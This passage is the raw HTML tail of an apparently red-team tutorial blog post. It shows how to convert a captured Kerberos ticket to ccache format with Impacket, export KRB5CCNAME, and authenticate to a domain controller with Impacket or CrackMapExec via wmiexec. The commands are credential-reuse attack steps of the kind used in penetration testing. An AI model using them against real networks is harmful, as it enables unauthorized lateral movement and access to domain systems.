srcset="https://substackcdn.com/image/fetch/$s_!cANl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 424w, https://substackcdn.com/image/fetch/$s_!cANl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 848w, https://substackcdn.com/image/fetch/$s_!cANl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 1272w, https://substackcdn.com/image/fetch/$s_!cANl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1410d3e4-50f1-41de-8803-6287b2ded82b_1223x334.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Convert to <code>.ccache</code> using Impacket:</p><pre><code><code>python3 ticketConverter.py &lt;input kirbi file&gt; &lt;output ccache file&gt;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5fbW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5fbW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 424w, https://substackcdn.com/image/fetch/$s_!5fbW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 848w, https://substackcdn.com/image/fetch/$s_!5fbW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 1272w, https://substackcdn.com/image/fetch/$s_!5fbW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5fbW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png" width="857" height="155" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:155,&quot;width&quot;:857,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Convert to ccache&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Convert to ccache" title="Convert to ccache" srcset="https://substackcdn.com/image/fetch/$s_!5fbW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 424w, https://substackcdn.com/image/fetch/$s_!5fbW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 848w, https://substackcdn.com/image/fetch/$s_!5fbW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 1272w, https://substackcdn.com/image/fetch/$s_!5fbW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d89c0d3-c606-495f-a42d-12f50b543d72_857x155.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now that the ticket is in the right format, we&#8217;re almost ready to use it. We just need to export the <code>KRB5CCNAME</code> variable and set it to the path of our <code>.ccache</code> file:</p><pre><code><code>export KRB5CCNAME=/path/to/ticket.ccache</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-wp7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-wp7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 424w, https://substackcdn.com/image/fetch/$s_!-wp7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 848w, https://substackcdn.com/image/fetch/$s_!-wp7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 1272w, https://substackcdn.com/image/fetch/$s_!-wp7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-wp7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png" width="560" height="100" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:100,&quot;width&quot;:560,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Export KRB5CCNAME&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Export KRB5CCNAME" title="Export KRB5CCNAME" srcset="https://substackcdn.com/image/fetch/$s_!-wp7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 424w, https://substackcdn.com/image/fetch/$s_!-wp7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 848w, https://substackcdn.com/image/fetch/$s_!-wp7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 1272w, https://substackcdn.com/image/fetch/$s_!-wp7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd84e6561-b50e-467a-a052-77b1b1fd16da_560x100.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Setup complete! Impacket and CrackMapExec have a <code>-k</code> flag specifying to use Kerberos authentication. This will draw from the <code>KRB5CCNAME</code> variable we set. Let&#8217;s verify we can access the DC:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!r8rW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!r8rW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 424w, https://substackcdn.com/image/fetch/$s_!r8rW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 848w, https://substackcdn.com/image/fetch/$s_!r8rW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 1272w, https://substackcdn.com/image/fetch/$s_!r8rW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!r8rW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png" width="1062" height="193" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/ec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:193,&quot;width&quot;:1062,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Wmiexec&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Wmiexec" title="Wmiexec" srcset="https://substackcdn.com/image/fetch/$s_!r8rW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 424w, https://substackcdn.com/image/fetch/$s_!r8rW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 848w, https://substackcdn.com/image/fetch/$s_!r8rW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 1272w, https://substackcdn.com/image/fetch/$s_!r8rW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec01001b-8973-411a-825f-b55b4ccdce9a_1062x193.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Again, be careful to use DNS names since using IP addresses will fail:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qlxZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qlxZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 424w, https://substackcdn.com/image/fetch/$s_!qlxZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 848w, https://substackcdn.com/image/fetch/$s_!qlxZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 1272w, https://substackcdn.com/image/fetch/$s_!qlxZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qlxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png" width="1291" height="82" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:82,&quot;width&quot;:1291,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;IP Fail&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="IP Fail" title="IP Fail" srcset="https://substackcdn.com/image/fetch/$s_!qlxZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 424w, https://substackcdn.com/image/fetch/$s_!qlxZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 848w, https://substackcdn.com/image/fetch/$s_!qlxZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 1272w, https://substackcdn.com/image/fetch/$s_!qlxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe72f73ca-0709-42c8-ad1b-c430c3996759_1291x82.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div>]]></content:encoded></item></channel></rss>